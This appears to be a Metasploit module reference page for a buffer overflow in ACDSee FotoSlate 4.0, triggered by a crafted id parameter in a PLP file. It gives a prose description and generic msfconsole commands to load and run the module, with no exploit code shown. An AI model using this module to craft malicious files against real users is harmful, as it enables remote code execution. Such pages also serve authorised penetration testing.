ACDSee FotoSlate PLP File id Parameter Overflow



This module exploits a buffer overflow in ACDSee FotoSlate 4.0 Build 146 via a specially crafted id parameter in a String element. When viewing a malicious PLP file with the ACDSee FotoSlate product, a remote attacker could overflow a buffer and execute arbitrary code. This exploit has been tested on systems such as Windows XP SP3, Windows Vista, and Windows 7.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/windows/fileformat/acdsee_fotoslate_string
msf exploit(acdsee_fotoslate_string) > show targets
msf exploit(acdsee_fotoslate_string) > set TARGET < target-id >
msf exploit(acdsee_fotoslate_string) > show options
    ...show and set options...
msf exploit(acdsee_fotoslate_string) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
